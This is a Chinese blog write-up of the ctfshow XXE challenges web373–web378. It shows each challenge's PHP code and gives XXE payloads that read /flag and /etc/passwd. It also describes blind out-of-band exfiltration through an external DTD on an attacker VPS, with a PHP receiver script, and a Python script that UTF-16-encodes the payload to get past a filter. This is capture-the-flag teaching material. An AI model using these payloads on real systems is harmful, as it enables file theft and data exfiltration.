ctfshow-web入门-xxe

什么是xxe?

XXE,全称XML External Entity Injection,即XML外部实体注入。这是一种针对应用程序解析XML输入类型的攻击。当包含对外部实体的引用的XML输入被弱配置的XML解析器处理时,就会发生这种攻击。这种攻击通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。在一定程度上这也可能帮助攻击者绕过防火墙规则过滤或身份验证检查。

XML是一种用来传输和存储数据的可扩展标记语言,用于标记电子文件使其具有结构性,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。

为了防止XXE攻击,应用程序应该正确配置XML解析器,避免解析包含外部实体引用的XML输入,或者对这类输入进行严格的过滤和验证。

web373

先看题

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-07 12:59:52
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-07 13:36:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
}
highlight_file(__FILE__);    

 

  1. libxml_disable_entity_loader(false);:

    • 默认情况下,libxml_disable_entity_loader 是启用的,它禁用外部实体的加载。这里,它被设置为 false,意味着允许外部实体的加载。这可能带来安全风险,因为它可能允许 XXE (XML External Entity) 攻击。
    • 读取输入:
      • $xmlfile = file_get_contents('php://input');
      • 这行代码从 PHP 的输入流(通常是 POST 请求的主体)中读取内容,并将其存储在 $xmlfile 变量中。
  2. 处理 XML:

    • if(isset($xmlfile)): 确保 $xmlfile 变量已经设置。
    • $dom = new DOMDocument();: 创建一个新的 DOMDocument 对象。
    • $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);: 使用 DOMDocument 的 loadXML 方法来加载 XML 数据。LIBXML_NOENT 和 LIBXML_DTDLOAD 是加载选项,其中 LIBXML_NOENT 会将实体替换为它们的值,而 LIBXML_DTDLOAD 会加载外部 DTD。
    • $creds = simplexml_import_dom($dom);: 使用 simplexml_import_dom 函数将 DOMDocument 对象转换为 SimpleXMLElement 对象,这使得处理 XML 数据更加简单。
    • $ctfshow = $creds->ctfshow;: 从 SimpleXMLElement 对象中提取名为 "ctfshow" 的元素。
    • echo $ctfshow;: 输出 "ctfshow" 元素的值。
  3. highlight_file(__FILE__);:

    • 这行代码将当前文件的内容高亮显示。

构造playload

<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<sun>
<ctfshow>&xxe;</ctfshow>
</sun>

先抓包,用bp传

web374

先看题

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-07 12:59:52
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-07 13:36:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

区别在于没有回显,要把读取到的内容也就是flag传到远程服务器查看

先在宝塔上创建一个站点

创建一个PHP

<?php 
file_put_contents("test.txt", $_GET['file']) ; 
?>

再创建xxe.xml

bp抓包,然后输入

<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://<vps-ip>/xxe.xml">
%aaa;
]>
<root>123</root>		

 

然后返回文件页面

就会看到多出来一个文件

web375

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-07 12:59:52
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-07 15:22:05
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

在上面的基础上过滤了xml,version=1或0

就是把上面的xxe.xml文件改成xxe.dtd

把payload改为

<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://<vps-ip>/xxe.dtd">
%aaa;
]>
<root>123</root>

web376

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

过滤了xml,version=1或0,和大小写

用上一题payload,依旧可以的

web377

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-07 12:59:52
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-07 15:26:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

发现在之前的基础上过滤了http

那就对其进行utf-16编码

用python(要安装requests库)

import requests

url = 'http://55a6087a-6b0d-4475-82b4-2cb8b6ff97c1.challenge.ctf.show/'
data = """<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://101.200.161.174/remote.dtd">
%remote;
%all;
]>
<hack>&send;</hack>"""

requests.post(url ,data=data.encode('utf-16'))
print("done!")b

web378

直接构建

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "file:///flag">
]>
<user><username>&file;</username><password>123</password></user>

  • 22
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
根据提供的代码和引用内容,ctfshow是一个XML实体节点,而xxe是用来指代外部实体的名称。在给定的代码中,XML实体被加载并解析成一个SimpleXMLElement对象,然后从中提取了ctfshow节点的值,并进行输出。通过提供合适的XML实体值,可以利用XXE(XML外部实体注入)漏洞来执行一些攻击,比如读取文件内容等。 要利用XXE漏洞进行ctfshow的Web入门,可以构造一个恶意的XML实体,例如: <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <test> <ctfshow>&xxe;</ctfshow> </test> 这个恶意的XML实体中,xxe指向了文件/etc/passwd,当这个实体被解析时,它的值会被替换为/etc/passwd文件的内容。通过将这个构造好的XML实体发送给目标服务器,可以触发XXE漏洞并读取/etc/passwd文件的内容。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [ctfshow web入门 XXE web373~web378](https://blog.csdn.net/qq_62989306/article/details/126839849)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *2* *3* [ctfshow web入门 XXE](https://blog.csdn.net/jie_a/article/details/117532704)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值